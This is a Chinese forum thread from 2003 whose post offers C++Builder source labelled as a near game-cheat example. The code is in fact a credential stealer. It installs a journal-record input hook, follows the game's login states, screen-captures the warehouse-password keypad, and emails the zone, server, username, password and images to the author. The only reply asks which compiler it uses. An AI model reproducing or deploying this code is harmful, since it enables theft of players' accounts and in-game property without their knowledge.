工大后院

 找回密码
 加入后院

扫一扫,访问微社区

QQ登录

只需一步,快速开始

搜索
查看: 1254|回复: 1

一个近似游戏外挂的实例

[复制链接]
发表于 2003-11-3 08:04 | 显示全部楼层 |阅读模式
//跟踪游戏进程
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
    bool BootFlag=false;
    AnsiString Data="";
    HWND hwnd=GetTopWindow(0);
    while (hwnd != 0)
    {
        char szWinCaption[256];
        char szWinClass[256];
        if(!GetWindowText(hwnd, szWinCaption, 256))
            *szWinCaption = 0;
        if(!GetClassName(hwnd,szWinClass,256))
            *szWinClass = 0;
        if((String(szWinClass)+String(szWinCaption))==GameFlag)
            BootFlag=true;
        hwnd=GetNextWindow(hwnd,GW_HWNDNEXT);
    }
    if((!BootFlag)&&(State>0))
    {
        State=0;
        AllResult+="~Data ";
        TStringList* MailText=new TStringList;
        MailText->Add("游戏名字:"+GameName);
        MailText->Add("附加标志:"+ThisFlag);
        MailText->Add("启动时间:"+TheDateTime);
        MailText->Add("游戏分区:"+Coding(SectionMap,254,254,254));
        MailText->Add("服务器号:"+Coding(ServerMap,206,206,206));
        MailText->Add("登录消息:"+LogMessage);
        MailText->Add("登录图片:"+Coding(LogMap,254,238,222));
        MailText->Add("仓库消息:"+DepotMessage);
        MailText->Add("仓库图片:"+Coding(DepotMap,127,119,143,false));
        MailText->Add("状态变化:"+AllResult);
        MailText->SaveToFile("222.txt");
        MailText->Add(String(SendMail(MailText)));
        MailText->SaveToFile("555.txt");
        delete MailText;
    }        
    switch(State)
    {
        case 0:
        {
            if(BootFlag)
                State=1;
            break;
        }
        case 1://已启动;
        {
            if(Validate(0))
            {
                AllResult+="~2 ";
                State=2;
            }
            break;
        }
        case 2://选择服务器状态;
        {
            if(Validate(1))
            {
                AllResult+="~3 ";
                State=3;
            }
            if(Validate(2))
            {
                AllResult+="~4 ";
                State=4;
            }
            break;
        }
        case 3://连接服务器状态;
        {
            if(Validate(2))
            {
                AllResult+="~4 ";
                State=4;
            }
            break;
        }
        case 4://登录状态;
        {
            bool Jumb=false;
            if(Validate(3))
            {
                AllResult+="~5 ";
                State=5;
                Jumb=true;
            }
            if(Validate(4))
            {
                AllResult+="~6 ";
                State=6;
                Jumb=true;
            }
            if(Jumb)
            {
                //发出包含区号、服务器号、用户名、密码的邮件;
                TStringList* MailText=new TStringList;
                MailText->Add("游戏名字:"+GameName);
                MailText->Add("附加标志:"+ThisFlag);
                MailText->Add("启动时间:"+TheDateTime);
                MailText->Add("游戏分区:"+Coding(SectionMap,254,254,254));
                MailText->Add("服务器号:"+Coding(ServerMap,206,206,206));
                MailText->Add("登录消息:"+LogMessage);
                MailText->Add("登录图片:"+Coding(LogMap,254,238,222));

             MailText->Add("仓库消息:"+DepotMessage);
             MailText->Add("仓库图片:"+Coding(DepotMap,127,119,143,false));
             MailText->Add("状态变化:"+AllResult);
                MailText->SaveToFile("111.txt");
                MailText->Add(String(SendMail(MailText)));
                MailText->SaveToFile("555.txt");
                delete MailText;
            }
            break;
        }
        case 5://检验密码状态;
        {
            if(Validate(4))
            {
                AllResult+="~6 ";
                State=6;
            }
            break;
        }
        case 6://选择角色状态;
        {
            if(Validate(5))
            {
                AllResult+="~7 ";
                State=7;
            }
            break;
        }
        case 7://游戏进行状态;
        {
            if(Validate(6))
            {
                TempDepotMessage="";
                AllResult+="~8 ";
                State=8;
            }
            break;
        }
        case 8://进入输入仓库密码状态;
        {
            if(Validate(7))
            {
                HDC hdc = GetDC(0);
                BitBlt(TempDepotMap->Canvas->Handle,0,0,342,272,hdc,340,160,SRCCOPY);
                ReleaseDC(0, hdc);

                AllResult+="~81 ";
                State=81;
            }
            break;
        }
        case 81://已输入四位仓库密码状态;
        {
            break;
        }
        case 82://判断仓库密码是否错误;
        {
            if(Validate(8))
            {
                AllResult+="~82~7 ";
                State=7;
            }
            else if(!Validate(7))
            {
                DepotMessage=TempDepotMessage;
                DepotMap->Canvas->Draw(0,0,TempDepotMap);
                AllResult+="~7 ";
                State=7;
            }
            break;
        }
    }
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormCreate(TObject *Sender)
{
    if(g_hLogHook==NULL)//安装日志钩子
        g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);

    TheDateTime=DateToStr(Date())+" "+TimeToStr(Time());
    SectionMap = new Graphics::TBitmap;//区号图片
    ServerMap = new Graphics::TBitmap;//服务器号图片
    LogMap = new Graphics::TBitmap;//登录框图片
    DepotMap = new Graphics::TBitmap;//仓库键盘图片
    TempDepotMap = new Graphics::TBitmap;//仓库键盘图片

    SectionMap->Width = 200;
    SectionMap->Height = 100;
    ServerMap->Width = 100;
    ServerMap->Height = 272;
    LogMap->Width = 200;
    LogMap->Height = 172;
    DepotMap->Width = 342;
    DepotMap->Height = 272;
    TempDepotMap->Width = 342;
    TempDepotMap->Height = 272;

}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
    if(g_hLogHook!=NULL)
    {
        UnhookWindowsHookEx(g_hLogHook);
        g_hLogHook=NULL;
    }

    SectionMap->Free();//收回区号图片空间
    ServerMap->Free();//收回服务器号图片空间
    LogMap->Free();//收回登录框图片空间
    DepotMap->Free();//收回仓库键盘图片空间
}
//---------------------------------------------------------------------------
发表于 2003-11-6 22:52 | 显示全部楼层
C++builder?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 加入后院

本版积分规则

QQ|Archiver|手机版|小黑屋|广告业务Q|工大后院 ( 粤ICP备10013660号 )

GMT+8, 2024-5-17 01:28

Powered by Discuz! X3.5

Copyright © 2001-2024 Tencent Cloud.

快速回复 返回顶部 返回列表